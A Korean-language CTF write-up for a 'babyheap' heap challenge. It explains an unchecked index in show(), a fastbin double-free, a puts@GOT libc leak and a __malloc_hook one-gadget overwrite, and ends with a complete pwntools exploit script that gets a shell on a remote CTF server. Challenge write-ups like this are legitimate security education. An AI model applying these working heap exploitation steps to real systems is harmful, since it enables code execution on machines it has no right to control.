malloc
, free
, show
3 가지 메뉴가 있는 전형적인 heap chall 이다.
chunk
는 순서대로 6개 할당할 수 있다.
unsigned __int64 Show()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("index: ");
_isoc99_scanf("%d", &v1);
puts((&ptr)[v1]);
return __readfsqword(0x28u) ^ v2;
show()
에서 인덱스를 검사하지 않는다.
사실 어셈으로 보면 있는데, 로직을 이상하게 짜놔서 검사를 안하는 것이나 다름없다.
할당 기회가 6번밖에 없으니, 이건 fastbin dup
할 때 사용해야한다.
add(0x20)
add(0x20,p64(b.got['puts'])*2)
delete(0)
delete(1)
delete(0)
이런식으로 double-free
를 우회하면, index 0
에 두 번째 chunk
의 주소가 있을 것이다.
두 번째 chunk
→ bk 부분에 puts@got
주소를 넣어 이 주소까지 index
를 계산해 leak
할 수 있다.
fastbin 에서는 bk 를 사용하지 않기 떄문에 다른걸로 덮이지 않는다.
show(0)
heap=u64(r.recvline().strip().ljust(8,b'\x00'))
log.info(hex(heap))
show((heap+24-0x602060)//8)
libc=u64(r.recv(6)+b'\x00'*2)-lib.sym['puts']
show(0)
을 통해 두 번째 chunk
의 주소를 구한 뒤, bk 주소를 더해서 ptr
배열과의 index
차이를 계산한다. 8바이트 배열이므로 8을 나눠줬다.
__int64 __fastcall malloc(__int64 a1)
{
int v2; // eax
__int64 v3; // rsi
__int64 v4; // rdx
__int64 v5; // rax
int *v6; // rcx
bool v9; // zf
void *retaddr; // [rsp+18h] [rbp+0h]
if ( _malloc_hook )
return _malloc_hook(a1, retaddr);
디버깅 용도로 만들어진 _malloc_hook 에 원샷 가젯을 덮어쓸거다.
__malloc_hook
에 할당받기위해서, size 부분을 설정해야한다.
__malloc_hook
에서 적당히 빼서 (-35
) size 부분에 0x7f
가 오게할 수 있다.
이후 0x60
할당 요청하면
해당 부분에 할당이 되었다.
__malloc_hook
의 주소는 0x7f33c328cb10
으로, dummy 값 19개 입력하고 원샷 가젯으로 덮으면 된다.
사이즈가 0x7f
이므로, 모든 할당 사이즈를 0x58
보다 크게 줘야한다. 나는 0x60
사용했다.
이제 할당을 못하지만, double-free
에러 메시지를 출력할 때, 내부에서 strdup
을 사용하는데, 이 때 malloc
이 호출된다고 한다.
https://lclang.tistory.com/165
ex.py
from pwn import *
import sys
context.binary = binary = "./babyheap"
context.log_level='debug'
b=ELF(binary,checksec=False)
if '1' in sys.argv:
r = remote("ctf.j0n9hyun.xyz", 3030)
lib = ELF("./libc.so.6", checksec=False)
else:
r = b.process()
lib = b.libc
def add(size,content="hello"):
r.sendlineafter("> ",b"1")
r.sendlineafter("size: ",str(size).encode())
r.sendafter("content: ",content)
def show(index):
r.sendlineafter("> ",b"3")
r.sendlineafter("index: ",str(index).encode())
def delete(index):
r.sendlineafter("> ",b"2")
r.sendlineafter("index: ",str(index).encode())
add(0x60)
add(0x60,p64(b.got['puts'])*2)
delete(0)
delete(1)
delete(0)
show(0)
heap=u64(r.recvline().strip().ljust(8,b'\x00'))
log.info(hex(heap))
show((heap+24-0x602060)//8)
libc=u64(r.recv(6)+b'\x00'*2)-lib.sym['puts']
log.info(hex(libc))
add(0x60,p64(lib.sym['__malloc_hook']+libc-35))
add(0x60)
add(0x60)
add(0x60,b'x'*19+p64(libc+0xf02a4))
delete(0)
delete(0)
r.interactive()